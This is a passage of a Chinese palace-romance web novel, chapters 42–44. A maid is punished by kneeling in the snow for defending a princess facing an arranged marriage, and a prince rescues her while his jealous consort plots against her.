程良看了一眼赵嬷嬷手里木盘中精致的白玉汤盅,随即颔首领命进去大殿,片刻后急急出来道“王妃娘娘,殿下有请”

“谢将军”梅汐媛对程良自是尚还算客气,程良是轩辕翰的心腹,她自是不能当他做一般下人对待。

梅汐媛这才带着赵嬷嬷缓缓入了大殿去,程良在其身后回头放眼看去朝着她的背影无奈地摇了摇头露出几分担忧。

进了承华殿大殿,梅汐媛欠身行礼“臣妾参见殿下”。

轩辕翰则并不热情,只冷冷对其道“天寒地冻的,你为何今日过来”

“臣妾见殿下近日公务繁忙,所以亲自炖了这盅冬补汤送来,还望殿下保重身子”梅汐媛依然笑着从赵嬷嬷手中接过木盘朝轩辕翰书案边上走过去。

“殿下,臣妾这个补汤是用核桃、红参、鹧鸪三者合而为汤。核桃补肾固精、益气养血、补脑益智;红参大补元气、补脾益气、生津、宁神益智;鹧鸪鸟喜食味道极苦的半夏苗,可化痰补虚健胃。此汤冬季食用最适合滋补不过了”

梅汐媛一边说一边盛了一勺匙汤竟想伸手上前去喂食轩辕翰,轩辕翰立马朝其冷声道“放下便可,本王现在还不饿”

然梅汐媛仍不放弃继续道“殿下,太后娘娘曾关切臣妾一定要照顾好殿下的饮食起居,这是臣妾的本分,殿下又何必介意推辞呢”

轩辕翰听到梅汐媛竟拿出太后来压他,心中顿时有些怒到便急急起身来,谁知一个不小心正好将梅汐媛手上的汤盅打翻汤水溅出,梅汐媛见状急道“臣妾该死,殿下赎罪”。

梅汐媛说完便慌忙的用丝帕去帮轩辕翰擦拭衣袍,谁知轩辕翰竟迅速闪动身体避让开来。情急下,从袖中掏出手帕来的时候,竟不小心将那方“云”丝帕掉落在脚下。

梅汐媛眼疾手快看见过去一脸狐疑地捡起来道“殿下的东西掉了”

轩辕翰看到一把夺了过去怒道“以后没有本王的允许,不许过来这边,程良...”。

程良就守在大殿门口,自是清楚的听到了里面发生的一切。听到主子传唤,他迅速进入大殿。

“送王妃出去”轩辕翰看到程良进来下令道。

“王妃,请”程良伸出手道。

梅汐媛死死地盯着轩辕翰愣了一会儿,随后蹙起眉对轩辕翰说道“殿下,臣妾身体一向虚弱,王府里只有太医,诸多不便,臣妾可否前去探望太后娘娘,顺便讨一个贴身的医女回来侍候”

“随你”轩辕翰一点都不想和她多做纠缠,于是冰冷着脸说道。

“如此,多谢殿下成全,臣妾这就告退,还望殿下保重身子”梅汐媛欠身行礼后缓缓走出了承华殿。

“王妃何故惹怒殿下”走出了承华殿赵嬷嬷方才上前一脸担忧地说话,刚才的情况真心吓到了她。

“哼,如果今天本王妃不激怒他,又怎么会发现这么大个秘密呢”

赵嬷嬷一脸不解“大秘密?王妃何出此言,难道王妃发现了什么?”

梅汐媛停住了脚步低头看向自己一直遮掩着的一只玉手,赵嬷嬷这才看过去直惊道“公主,你的手......”原来刚才汤盅被打翻竟烫伤了梅汐媛的手,此时已经严重红肿了。

赵嬷嬷心疼极了“公主,你太委屈了”

赵嬷嬷一会儿“公主”,一会儿“王妃”的混乱叫着。

一声“公主”是她自小看着梅汐媛长大对她尊贵骄傲身份的称呼,而一声“王妃”则是她知道是梅汐媛如今最想成为的身份的称呼。

然而这个让她一直都引以为豪骄傲的公主如今剩下的只有让她越发地觉得无比心疼。

“嬷嬷,无论如何,西秦国秦王妃这个位置永远都只能是属于我的,对吗?”梅汐媛此时握紧了拳头蹙眉问赵嬷嬷。

“对,公主所受的委屈都不会白受”赵嬷嬷安慰道。

“嬷嬷,方才你也看到了,殿下对那方掉落的云字丝帕比对我的安危还要重视,如此看来...陆姑娘所说的并非空穴来风”梅汐媛恍然大悟。

“王妃怀疑的是那位名唤衣上云的丫头吗?”赵嬷嬷问,梅汐媛一脸凝重地微微颔首。

赵嬷嬷接着说“可那姑娘的长相......”

“难道嬷嬷没有发现如果她没有了那个胎记,定将会是个倾国倾城的绝世美人吗?”梅汐媛笃定。

“那王妃意欲如何?”赵嬷嬷迫切的想知道梅汐媛的计划。

“哼,既然殿下喜欢她,那本王妃何不成全他们。本王妃打算要把她接到秦王府来,与她朝夕相处”梅汐媛说着露出一脸深不可测的表情,让听的人都不禁有些心惊胆战。

我本将心向明月,

奈何明月照沟渠,

落花有意随流水,

流水无心恋落花。

“衣上云,咱们走着瞧”梅汐媛狠狠说了这样一句,便匆匆朝着韶华阁而去,赵嬷嬷一脸茫然地紧紧追随其后。

果然,这个聪明一世糊涂一时的东宁国永乐公主上钩了。陆天骄临走时在秦王府种下的一粒仇恨的种子已经悄悄发芽了。

第四十二章:雪地罚跪

陆天骄临走时在秦王府种下的一粒仇恨的种子已经悄悄发芽了。而且这粒已经破裂开来的种子已开始疯狂地生长。

转眼已是腊月年关将近了,今日又是隆冬里一个大雪纷飞的日子。

一世界的银装素裹,似乎整个西秦大地都变得寂静了许多,只听见雪花莎莎落下的声音。

西秦皇宫内刚过了晚膳的时间不久,已经是夜了。轩辕玥的风华宫里一盏盏烛火将整个宫殿照的宛若白昼。

忽然门外传来奴才们声势浩大的集体跪拜声“参加皇上万岁万岁万万岁,皇后娘娘千岁千岁千千岁”。

“是父皇和母后来了”轩辕玥闻声一边欢喜的说着,一边急急从书案边走出来过去相迎。

她一边行礼一边道“儿臣恭迎父皇母后,父皇母后万福金安”

“快起来,快起来”皇后一边微笑着一边过去伸手将轩辕玥扶起身来。

随后便捉起轩辕玥的一双纤纤玉手紧紧攥在自己手心里捂着,关切道“皇儿,这天眼看着已是隆冬腊月、天寒地冻、冬雪绵绵。皇儿素患有咳疾,可要当心着点身子啊”

“母后放心,有云儿在,皇儿的咳疾早就大好了”轩辕玥看了一眼身后的衣上云津津乐道。

“如此便好,你们可都要仔细着点侍奉公主殿下,都知道了吗”皇后随即满面严肃地朝着在场众奴才说道。

众人齐声回应“奴婢遵旨”

轩辕玥挽着皇后的胳膊撅起朱唇撒娇般地说“哎呀...好了母后,皇儿真的很好,母后就放心吧。不知母后今日来儿臣宫中究竟所为何事啊?”

皇后正打算说话,一旁的璟帝倒例外地先开了口说“玥儿书法的造诣倒是越来越高了”。原来璟帝进来以后并没有直接落座,而是走到书案边查看起轩辕玥刚写好的字来。

轩辕玥突然意识到有什么不对劲,随即连忙奔跑过去想要将璟帝正在看的桌上那张宣纸收起来,却被璟帝一手拦住微笑着说“皇后,你也过来看看”

皇后听闻璟帝召唤便缓缓走了过去,然而皇后看的却并不是轩辕玥的字,而是她落在宣纸上的那首诗词。

皇后轻声诵读着“青青子衿,悠悠我心。纵我不往,子宁不嗣音?青青子佩,悠悠我思。纵我不往,子宁不来?挑兮达兮,在城阙兮。一日不见,如三月兮”

轩辕玥就站在书案一旁,此时着急的她犹如热锅上的蚂蚁般蹙眉着,不由自主地看了看旁边的衣上云,衣上云亦是紧锁眉头着却朝着她摇了摇头,示意她稍安勿躁。

皇后读完,便微笑着抬起头看着轩辕玥对璟帝说道“皇上,看来我们的玥儿长大了啊”

“哈哈哈...”这时璟帝忽然大笑着离开了书案,走过去落座下来。

皇后认真地问道“皇儿,你如今也年已及笄,到了婚嫁的年纪。放眼这西秦国各贵族大臣你可有中意之人?”

“母后说什么呢?玥儿还小,从未有过如此想法,这诗词只不过是玥儿一时兴起,随便写的罢了,父皇母后莫要胡乱猜测”轩辕玥一脸慌乱的匆匆忙忙解释着。

“那就是这西秦国上下都没有皇儿看得上的咯,如此甚好”璟帝接着轩辕玥的话说道。

“父皇何出此言”轩辕玥甚是不解地问。

“皇后,你来跟皇儿说吧”皇后听闻顿时怔住定睛看了看璟帝,又转回向轩辕玥。

沉默了片刻后,她端起一丝略显无助稍有些僵硬的笑脸道“玥儿,身为皇族子女就该有皇族子女应有的担当,就要心系西秦百姓的安危。你虽身为女儿家不比男子能够驰骋沙场,保卫疆土。但作为西秦国尊贵的公主,你也应该为国尽自己的一份薄力”

轩辕玥听皇后这段话越听越不对劲,不知道父皇母后到底要说何事,但是她有一种不好的预感。便急急说“父皇母后到底何事,不妨直说,玥儿洗耳恭听”

皇后甚是为难不知如何开口,却也终究还是说了出来“你父皇预备留你过了这个年,等开了春把你赐婚给北烈国大皇子拓跋泽与其完婚”

“什么”轩辕玥忽觉眼前一阵晴天霹雳般的晕眩,急急后退了两步,衣上云亦是万分出乎意料着立刻上前将轩辕玥扶住。

“皇儿...”皇后神色慌张地亦是想伸手去扶轩辕玥,而轩辕玥却避退了去。皇后看了露出一脸的心疼,这可是她辛辛苦苦怀胎十月身上掉下来的一块肉啊,她岂能不怜她。可是身在帝王家,又诸事岂是她想如何便能如何的。

璟帝心意已决,这时决绝地说着“四国之争,生灵涂炭。北烈国兵强马壮屡犯我西秦边境,边境之地民不聊生...”

轩辕玥恼羞成怒急急打断璟帝的话抢着说“西秦不是有战神秦皇叔吗?”

璟帝听闻后露出一脸轻蔑之态哼道“秦王虽屡建奇功将其逼退,但哪次征战不是劳民伤财,负债累累,西秦早已国库空亏,如今急需时间休养生息”

轩辕玥听了无奈地说“所以父皇认为如今最好的办法便是牺牲玥儿来和亲联姻以安抚北烈,对吗?”

此话一出一室寂静,她停顿了半天后,忽然流泪伤心地问“父皇母后,玥儿到底还是不是你们最疼爱的皇儿了?”

“皇儿,你永远是母后最疼爱的皇儿”皇后亦是泪流满面心疼地急急抱着轩辕玥哭道。而轩辕玥的眼里却瞬间没有了昔日里的骄傲和自豪,现在她的眼中只有对这身份尊贵无比的帝后父母无限的绝望。

谁知她忽然一脸坚定决绝地对帝后说道“父皇母后,请恕皇儿不能从命”

皇后听闻她如此直接大胆又坚定的反抗声,用极其惊恐的眼神看着怀抱里的轩辕玥。

而璟帝亦是怒发冲冠道“你说什么,你竟敢违抗朕的旨意,是谁给你这么大的胆子”。

衣上云见势立马上前俯首下跪道“皇上息怒,公主尚且年幼,而且北烈国属游牧民族,条件极其恶劣,公主自幼娇生惯养,定是不得适应其生活。还望皇上三思”

“你又是何人,竟敢为她求情”在此刻这种情势下,即便是身为西秦国母轩辕玥生母的皇后也是不敢妄言相劝的。

然衣上云却一脸镇定与从容地冲上前去,就连一旁的轩辕玥也为她捏着把汗惊道“云儿...”

衣上云回头看了一眼此刻万念俱灰又梨花带雨的轩辕玥,更是坚定了自己的决心。

“皇上,正所谓虎毒不食子,灵空大陆四国条件最差的就属北烈,而公主是西秦最贵重的公主,皇上将她送去北烈国和亲,不正如同将公主羊入虎口吗,皇上真心舍得?”

“放肆,大胆奴才竟敢口出狂言,朕今天就好好让你长长记性”璟帝暴怒了。

轩辕玥亦是慌乱了神想要上前求情,皇后却紧紧拉住她“玥儿,你父皇现在气头上,你就不要再增加他的火气了,否则云儿只会受到更为严重的惩罚”

“可是,母后,云儿她这都是为了我啊...”皇后使眼色对她摇了摇头,轩辕玥想了想又不得不收了声,只是一脸担忧地看着衣上云,又看一看高高在上的璟帝,不知道他要如何处罚她。

璟帝看看殿外昏暗的烛光照射下的漫天飞雪道“朕看今日这场瑞雪不错,朕就罚你在这雪地里跪满十二个时辰,为我西秦子民祈福”。

“父皇不可,十二个时辰,冰天雪地,云儿一定会没命的”轩辕玥听闻再也忍不住了,哭着求璟帝道。

“公主放心,云儿可以的”衣上云却微笑着朝轩辕玥说完便向璟帝叩首心甘情愿的走出大殿去领罚。

轩辕玥急急甩开皇后的手追出去,却早已不见了衣上云的身影,轩辕玥露出一脸的担忧......

于是,隆冬腊月里、冰天雪地、寒风刺骨。一个倔强而又坚强的身影孤孤单单地跪在了风华宫宫门口。

此刻衣上云双膝跪在冰冻刺骨的雪地上,雪落满她一身。璟帝下令她不眠不休,不吃不喝跪满十二个时辰方可饶恕,这才过去了四个时辰,刚刚卯时而已。

“这可怎么办是好?都怪我,我不该一时冲动任性地说出那样的话来惹父皇生气发怒,而最终受苦的确是云儿”轩辕玥亦是不安地夜不能寐,在寝殿里慌乱而又无助地踱步埋怨了着。

眼看天就快亮了,一旁的宫女劝着“公主,还是歇息歇息吧,您已经走了一夜了,腿都酸了吧”。

“都一边去,你们可都知道再这样跪下去,云儿的一双腿怕是要废了,本公主又怎能安心歇息?”轩辕玥怒骂着说话的小宫女。

“可是公主,您这样走来走去也无济于事啊,如今您被皇上禁足在风华宫内,不准踏出宫门半步的。下令处罚衣药女的可是皇上,皇上的命令有谁敢违抗呢?”小宫女小心地说。

轩辕玥却当做没听见只问了一句“现在是什么时辰了?”

小宫女回道“已经卯时了”。

“卯时......”轩辕玥一边重复着一边仍然不停地踱步。突然她眼前一亮,眼睛睁大开来一怔,像是发现了什么奇珍异宝般欣喜。

“有了,赶快。速速替本公主去找一个人,这个人一定可以救云儿,也只有这个人能够救得了她”轩辕玥急急对身边的小宫女道。

“公主说的人是?”小宫女好奇地问着,心里却怀疑着,竟还有人能从皇上万岁的手里救得了人?

轩辕玥上前去对着小宫女的耳朵耳语了片刻后,小宫女惊道“衣上云区区一个卑微的小药女,公主殿下确定那人他会来?”

“你去照本公主的原话相告便可,其他不必多问”小宫女一脸狐疑地拿起披风按照轩辕玥的指示急急走出了风华宫去。

轩辕玥站在寝殿门口,望着风华宫的宫门,衣上云就在门口边跪着,她却不能过去相伴,因为她知道如果她过去,衣上云将会面临更重的惩罚。

一夜未眠,而此时她终于深深吐了一口浊气后自言自语道“云儿,再多坚持一会儿,你的救星马上就到了”

轩辕玥口中的这个救星是谁呢?

第四十三章:此生定不负她

轩辕玥一夜未眠,而此时她终于深深吐了一口浊气.然后自言自语道“云儿,再多坚持一会儿,你的救星马上就到了...”

冰天雪地的凌晨时分,小宫女受轩辕玥之命冒着风雪一路狂奔着,终于来到了乾坤殿。大殿门口文武百官正等着即将上朝的时间。

她一眼便从众人中看到了那个轩辕玥口中所说的救星——秦王轩辕翰,这个救星本就自带光环,无论走到哪里都是自带发光体,光彩夺目。

然而小宫女仔细一看,却发现秦王轩辕翰今日并不是独自前来上朝,原来秦王妃梅汐媛也随同一起入宫了。

此时,众大臣们正齐聚一起向着尊贵的秦王寒暄着。

眼看距离上朝的时刻也只剩下半个时辰了,再不去禀报就真的来不及了。于是,小宫女深深吸了口气便急急跑上前去向轩辕翰行礼道“奴婢风华宫宫女锦兰,拜见秦王殿下,秦王妃娘娘”

“风华宫宫女?这么早来这里找本王,所为何事”轩辕翰依旧一脸严肃冰冷却有些不明所以地问。

“奴婢斗胆,秦王殿下可否借一步说话”小宫女说完怯怯地看了轩辕翰一眼随即低着眼睛露着一脸的着急之态。

“大胆奴才,你是什么身份,竟敢对秦王殿下如此无礼”梅汐媛听闻上前怒斥小宫女,小宫女惊吓到后将头埋的更深了。

轩辕翰看见却伸手拦了梅汐媛的怒骂声,随后便独自往一边没人的地方挪了几步,小宫女见势立马紧跟到其身边,凑到他身旁将轩辕玥方才交代的原话一字不漏地重复了一遍。

“什么?现在人在何处?”只见轩辕翰突然眉头紧锁怒声问道。

“回禀秦王殿下,现在衣药女还在风华宫门口跪着,公主......”小宫女见轩辕翰怒色连忙回禀,然话还没说完,轩辕翰早已调头转向风华宫方向飞奔而去。

梅汐媛看见在其身后急唤“殿下”,轩辕翰并未回头。此情此景,不知发生何事,随即也急急上前跟了去。

大雪虽然在半夜已经转小了许多,可是这严冬的夜却冷得刺骨。衣上云身上的棉衣本就破旧,现在还被身上的温度融化了的许多雪水将其一寸寸地浸湿渗透着,她整个人跪在那里咬牙切齿着瑟瑟发抖。

长长的睫毛上挂着两串细细的冰珠子,只要眼睛微微一动,都可以发出哗啦哗啦互相碰撞的声音。

此刻,她又冷又饿,双臂交叉紧紧环抱着自己原本就瘦小的身子蜷缩着,找不到一点稍微暖点的地方,她闭着眼睛已有些摇摇晃晃起来。

她不是没有想过办法,这期间她曾多少次握紧那所谓的神器,那只七彩.金丝彩玉镯子,可是它却一点儿反应都没有。

如果不是因为那是魏明轩留给她的唯一的念想和动力,她想,即使它价值连国她此时也真的很想将它狠狠的摧毁。

但是一想到魏明轩,她不但不能毁掉它,还得咬牙拼命坚强的护着它。她得活着、撑着、等着......

终于,她彻底累了也倦了,连摇摇晃晃也做不到了,意识在一点点丧失,甚至都已不能继续她的思绪。

这时环抱着自己的双臂也慢慢地垂落了下来,跟着便稍斜着身子朝着一边厚厚的积雪上重重地倒落了下去...

忽然间,只见横空伸出一只大而有力的手来,稳稳地接住了她已经下落大半的身子,随即又有同样的另一只大手将其整个身子一把迅速的揽住横抱起来。

轩辕翰眉头深锁满脸疼惜地端详了一眼自己怀中这个此时一脸苍白的人儿,当触碰到她冰冷渗人的身子时,这才发现她的一身旧宫衣几乎全部已被雪水浸透。只见他眉毛瞬间全部降下怒不可遏,随即便抱着她大步跨入了风华宫的门直朝大殿而去。

此时好不容易追赶上来的梅汐媛看见眼前的情景惊讶万分,他竟然当着自己的面如此含情脉脉温柔地抱着另一个女子,还用那样柔情关怀的眼神注视她。

而这女子竟只是一个小小的御药房药女,是何等的卑微之躯,竟能得到天下如此尊贵的男人之垂怜。

此刻,她终于明白了陆天骄所说那番话的含义,也更加坚定了自己今日进宫接下来准备计划要做的事情的决心。

“参见秦王殿下”风华宫的奴才们看见轩辕翰进来急急对其跪拜行大礼道。

“秦皇叔”如坐针毡般等候着的轩辕玥听闻亦是立马惊声着踱步出去,看到轩辕翰抱着已经昏迷了的衣上云进来,她立马命人将配殿的床榻准备妥当,便搭手把衣上云放在温暖的床榻上。

“你,快去传太医”

“你,赶快去拿身干的衣服来给云儿换上”

“还有你,快去端些浓郁的热姜汤过来先给云儿服下”

......

轩辕玥急急忙忙地安排着小宫女们,小宫女们也都领命后纷纷开始抓紧办差。

轩辕翰只顾坐在床榻边紧紧捂着衣上云一双冻得已似是僵硬的手,像似要给她他所拥有的全部温暖,皱着眉头露出一脸的担忧,轩辕玥看着俩人心里尽是愧疚。

“玥儿给皇婶请安”此时,梅汐媛也闻声走了进来,一进门便看到眼前这让她嫉妒地发狂的场面,却终究还是强压着心底的怒火,颔首朝轩辕玥微笑了一下。

“殿下,早朝的时间快到了”梅汐媛进来提醒道,然轩辕翰眼睛却始终盯着榻上的人儿,一动不动,不言不语。

一室寂静......

不知道过了多久,听到宫女们要给衣上云更衣,他方才依依不舍地将她的手塞进温暖的被窝里,缓缓起身来走到轩辕玥的身边面无表情地说道“此后,就算赔上你的性命你也要护好她”

轩辕玥听了大惊失色,她迅速抬起头看着轩辕翰,却只从侧面看到轩辕翰的眼睛里满是寒冷、决绝、坚定和愤怒。

“是,玥儿谨记皇叔教诲,云儿有今日全是拜玥儿所赐。玥儿此生定不负她”轩辕玥亦是含泪坚定地回他道,衣上云此次乃是以自己的性命在替她与璟帝争取周旋,来成全她。

在别人看来,衣上云今日殿前所言只是不想让轩辕玥嫁到极其困苦的北烈国而已;而其实衣上云深深了解轩辕玥早已心有所属,而如今要她背弃自己的爱情,以轩辕玥的性格,天知道最后被逼急的她会做出什么事情来。

璟帝一意孤行地做了这个决定,旁人都知道不能劝,也劝不了。

自古皇家儿女的幸福从来都不曾掌控在自己的手中,享受了常人不及的荣华富贵的同时,也要承担常人远远不及的痛苦。

而衣上云希望轩辕玥得到自己想要的幸福,也愿意帮其成就自己的幸福。于是顶着龙颜大怒的危险,想要唤醒璟帝心底对轩辕玥那暂且尚存着的仅有的一丝怜悯。

而哪怕是自己激怒了他,今天她被惩罚了,至少今日他不会再继续咄咄逼人,将轩辕玥逼到孤立无援无助的境地,至少给她个喘息的机会。毕竟她还只是个15岁的孩子,还不能坦然承受这生命里突如其来的变数。

而事实证明,今天衣上云的赌注成功了,因为璟帝确实因她而怒了,他也没有再继续逼迫轩辕玥。而最幸运的是,轩辕翰来了,来的不早也不晚恰巧正是她再也无力坚持的时刻。

轩辕翰狠狠地看着轩辕玥的眼睛说完这句便走出了风华宫向着乾坤殿走去。

轩辕玥这才擦了擦眼泪,过去坐在衣上云正躺着的榻边道“云儿,你为什么这么傻?”话刚一出,却又想哭,眼里又噙满了泪水。

“你一个小小的药女,怎么敢对父皇说出那样的话来”

“你真的不要命了吗?”

“你要是真有个什么三长两短,你让我如何对......对他交待啊”轩辕玥说着说着,余光扫了一眼一旁还在站着的梅汐媛一眼。

“皇婶,快请坐,真不好意思,今日玥儿这里的状况真的是......”梅汐媛打断了轩辕玥的话。

“公主莫要客气,不知风华宫到底发生了何事,公主不妨说出来,也许皇婶可以帮你”梅汐媛关切道。

经过轩辕玥的一番复述,梅汐媛恍然大悟道“原来如此,看来这个小药女倒真是一个忠仆”

轩辕玥急急辩解道“皇婶,玥儿从来没有把云儿当做下人看待”。

梅汐媛则不慌不忙严肃地说“玥儿此言差矣,在这深宫之中,主即是主,仆便是仆,即便你再喜欢,她也只是一个奴婢而已,奴颜婢膝,是她们身为奴婢该谨记一生应有的本分,以提示她们无论何时都不能有越轨之举。否则,这宫中主不像主,仆不像仆,又该如何治理”

轩辕玥无言以对,任凭梅汐媛一大堆道理,也不能改变她对衣上云的心意。

更何况,她深知轩辕翰亦是对衣上云另有一番心思,虽然现在自己还未得知究竟会如何,但就从刚才轩辕翰对自己的那句狠话,她便知道衣上云对她这个皇叔很重要,比她自己的命还要重要。

不但他要护着衣上云,如今轩辕玥自己也亏欠了衣上云,轩辕翰竟命令轩辕玥要以命相护来偿还她。

俩人说话间,宫女已经为衣上云换上了干净的衣物喂下了浓郁的热姜汤,太医也已细心地诊断完毕前来禀报。

“公主殿下,衣药女冻伤似很严重,近期务必以清淡的热汤食为主,不可离炭火太近烤火取暖,必须按时服药,膝盖处定时涂擦老臣配置的药膏,身子一定得注意保暖,否则后果不堪设想”太医严肃地交待着。

“那可能痊愈?”轩辕玥着急地问。

“这个老臣不好说,病人原本体质本就各不相同,恢复自然也不同。只是这冰天雪地里一直长时间跪着,怕是以后风吹雨打,寒冷潮湿之际,衣药女这腿......要遭大罪了”太医说着说着顿了一下,终究还是继续把话说完。

“一定要用宫中最好的药,务必把她给本公主治愈,否则......”轩辕玥想都不敢想,要是轩辕翰知道了会是什么样子。

而此时门外有一人正好匆匆赶进来,刚好听到了太医所说的每一句话......

第四十四章:你温暖我,我陪伴你

“一定要用宫中最好的药,务必把她给本公主治愈,否则......”轩辕玥想都不敢想,要是轩辕翰知道了会是什么样子。此刻,她深深蹙眉握紧双拳朝着太医说完后沉思着。

而此时门外一人正好匆匆赶进来,刚好听到了太医所说的每一句话......

轩辕翰急急上完早朝便又折回到风华宫,已经在门外准备进来,因为怕打扰到衣上云的修养,便伸手示意奴才们无需行礼,却不料刚好听到了太医所说的每一句话。

随即他一个大步跨过门槛进来怒道“废物,给本王滚下去”太医被极致冷厉的训斥声惊得立马俯首告退下去。

“秦皇叔,玥儿错了,都是因为玥儿,云儿才会变成这样”轩辕玥也实在不知道现在怎样做才能平息轩辕翰此时的怒火,只能不停地认错道歉,她实在没想到轩辕翰竟对衣上云如此在乎。

轩辕翰没有说话也没有看轩辕玥一眼,只自顾朝着衣上云的榻边过去撩起锦袍坐下来。

半天后,他终于冷冷的出声“到底怎么回事?”

小宫女情急之下只告诉轩辕翰衣上云因为轩辕玥触怒了璟帝被雪地罚跪十二个时辰,却并未细禀其中详由。

此时轩辕玥看了一眼旁边安静的梅汐媛,轩辕翰余光扫了一眼过去向梅汐媛道“你先独自过去跟太后请安吧,就说本王有要事处理稍候便到”

梅汐媛见此自知是这叔侄俩人故意要支开她,便也无奈地起身来欠身行礼“那臣妾先行告退”随后便独自朝着永安宫方向而去。

梅汐媛刚出门,轩辕玥便满腹委屈地哭诉起来“秦皇叔,你救救玥儿,玥儿不想去北烈和亲,玥儿不是任何人的工具,玥儿是个人,是个有血有肉有感情的人啊”

轩辕翰听此,眼睛一怔心想,原来竟是这样,所以这个蠢女人这次是为了这件事才触怒了皇帝。接着顿时陷入了一片悠长的沉思之中。

过了半天才清醒转头对着轩辕玥说道“好了,本王知道了,你先退下吧”,轩辕玥这才收声一边抹着眼泪一边起身来走出了偏殿。

一室寂静,轩辕翰伸出右手轻柔地抚向衣上云鬓边的刘海,眼睛带着极致地温柔和心疼。接着手指又顺势下滑沿着她苍白瘦小的脸庞拂过轻抚着,像似要将她今日所受的全部伤痛和惊吓全都抹掉,抚平一般。

一双温暖又极具安全感的大手,无比舒适的温度,让人痴迷,让人陶醉,让人心疼而又不舍。

此刻,惟愿上天垂怜这俩人,最好岁月就此永远停留在此刻。

你温暖着我这副冰冷的身体,我陪伴着你多年孤寂的灵魂。

......

“秦王殿下”终于衣上云又缓缓睁开了依然好看的那双凤眼,让她惊讶的是竟然一睁眼看到的会是他,轩辕翰见她苏醒急忙收回自己的手。

她用力支撑着想要坐起身来,却发现自己的腿完全没有了知觉,一点儿力气都用不上。

“我的腿......”衣上云惊呼道。

“别怕,只是冻伤了暂时没有知觉,得慢慢恢复”轩辕翰愁云满面的朝她埋怨道,责备着她的任性,埋怨着她不懂得自保。

“殿下怎么会在这儿,玥公主呢?她还好吗?皇上没有再为难逼迫她了吧?”衣上云立马担忧地问,见轩辕翰不出声便着急着四下里寻着轩辕玥的身影。

轩辕翰此时看着她这个样子就生气“你先管好自己吧,不知道自己什么身份吗,还喜欢替人强出头,就那么爱管闲事?”

衣上云听到这突如其来的训斥声,便立刻收声扭头过去看向床榻的内侧,轩辕翰见她如此失落的反应便无奈地说“玥儿很好,不用替她担心”衣上云这才安心了许多。

一室寂静,俩人相对却无言,似是只要人在一起,哪怕什么都不做都是最好的。

半晌后,还是衣上云先开口打破了这种莫名的气氛“殿下,求你帮帮玥公主”,轩辕翰这才转眼过去看了她。

衣上云接着说道“殿下,公主她其实是已经心有所属,故而才顶撞了皇上”

轩辕翰这才恍然大悟“她属意的人是谁?”

衣上云答“是东宁国三皇子梅志煊”。

“是他”轩辕翰看着衣上云自是有些惊讶,衣上云朝他点点头肯定道。

“那你想本王怎么帮她?”轩辕翰眼睛转向一旁,若有所思地问。

衣上云蹙眉诚恳地说道“殿下可否帮公主得偿所愿”

“得偿所愿”轩辕翰接着衣上云的话重复道,却显出一副意味深长难以言表之态。

衣上云以为轩辕翰想以条件交换,便急急说“只要殿下能帮公主得偿所愿,有情人终成眷属,奴婢愿为殿下做牛做马,报答殿下。奴婢自知身份卑微,可是奴婢愿意付出任何代价,只要公主幸福安乐”

“你为何总把自己的性命看的如此轻贱,难道你的命就不是命,可以随意拿去为别人遮刀挡剑吗?”轩辕翰听她说出这样的话来,又想起她之前为别人心甘情愿所做的种种,顿时满腹怒火涌上心头吼道。

“殿下息怒,奴婢不是不知任何人的性命都珍贵无比。只是,奴婢是一个从小就没人疼没人爱的废柴丑女。此生能得公主以诚相待,奴婢愿为她死而无憾。况且,这个世上,奴婢也没有什么可牵挂的了,应该也没有人会在乎奴婢的生死吧?”

衣上云满腹委屈地说出这句话来,确实无论是在21世纪,还是在这千年前的西秦国,他一直都是孤独无人怜的,说着说着便陷入了无边的思绪之中。

“殿下,求求你,帮帮公主,奴婢知道整个西秦国只有殿下您才有能力可以帮公主,公主她还只是个孩子,她还不能承受生命里不能承受之痛,再逼她会疯的”衣上云又一次绝望地说着,竟忍不住眼里噙满了泪水。

轩辕翰见此深吐一口浊气道“本王可以答应你,但是本王要你记住你今日所说过的话。以后你的命便是本王的了”

随即他再次转眼看向床榻上的衣上云的眼睛如同像是在宣告般郑重其事地说“衣上云,从今以后本王便是你的唯一。你的身,你的心都将只属于本王一人”

衣上云惊恐万分,看着轩辕翰如此坚定和严肃的语气和目光,她竟不知为什么自己的眼睛连眨都不敢眨一下,直直看着轩辕翰的眼睛四目相对着。

轩辕玥休息了片刻后,终于精神足了许多,这时忽然闯了进来。

一看到衣上云醒了,便大步跑过去床榻边激动地说“云儿,你终于醒了,我好害怕你......”

衣上云微笑着对她说“公主,云儿说过,我可以的”

“可是你不知有些人差点要了本公主的命”轩辕玥看了一眼身旁的轩辕翰低头支支吾吾道。

轩辕翰低眉抬眼看了一眼轩辕玥,轩辕玥就再也不敢抬头也不敢出声了。

衣上云这才对轩辕玥急急说道“公主,秦王殿下已经答应帮公主了”。

轩辕玥听到这话迅速抬起头来疑问“帮我?帮我什么?”

“多事,病了就好好休息”轩辕翰突然对着床榻上激动的衣上云怒道,随即目光转向她身旁的轩辕玥问道“你喜欢东宁国三皇子梅志煊?”。

“玥儿是......哪有?皇叔从哪胡乱听来的谣言”轩辕玥本来欣喜,却又碍于女儿家的矜持,中途竟改变了话语。

“如此,那本王就不管了”说着,轩辕翰便作势想要起身来离开。

轩辕玥急急伸出双手将他按了下去,嬉皮笑脸撒娇道“皇叔......”

“本王现在郑重地问你,你可要想好了再回答,这件事关乎你自己一辈子,甚至......”轩辕翰说着欲言又止。

轩辕玥瞬间满脸欣喜地说“秦皇叔请问,玥儿知无不言言无不尽”。

轩辕翰瞪了一眼她便说“你真的喜欢东宁国三皇子梅志煊?”。

轩辕玥信誓旦旦道“是,玥儿此生非君不嫁”。

轩辕翰:“但你可知他是否也非你不娶呢”。

轩辕玥:“玥儿只要能够天天看到他,陪伴他左右便心满意足了”。

轩辕翰竟不知自己眼里的这个小丫头对那异国的皇子竟痴恋至此“最后一个问题:如今灵空大陆风云变换,群雄逐鹿,战争不断。倘若有朝一日西秦和东宁两国兵戎相见,你又如何选择?”

轩辕翰是朝堂中人,自知灵空大陆四国统一的这一天早晚会到来。而现在,这个丫头竟然对敌国的皇子用情之深至此,但还是抱着最后一丝希望,盼着能够挽留住她。毕竟这个公主完全不像璟帝那般无情暴虐。

见轩辕玥为难半天不出声,轩辕翰便道“怎么,是要放弃了吗?”。

“不,秦皇叔,民间有言:嫁鸡随鸡嫁狗随狗。玥儿此心,日月可鉴,至死不渝。东宁亡,玥儿亦亡”轩辕玥顿时一脸严肃地回答。就连一旁安静听着的衣上云亦是为之所震惊,原以为轩辕玥只是个孩子,没想到她竟早已长大,俨然已是个有自己主见和担当的西秦公主了。

轩辕翰亦是为之一怔,随后便道“本王最后一次再跟你确认,一切都如你方才所言,不管将来如何,此生永不后悔”。

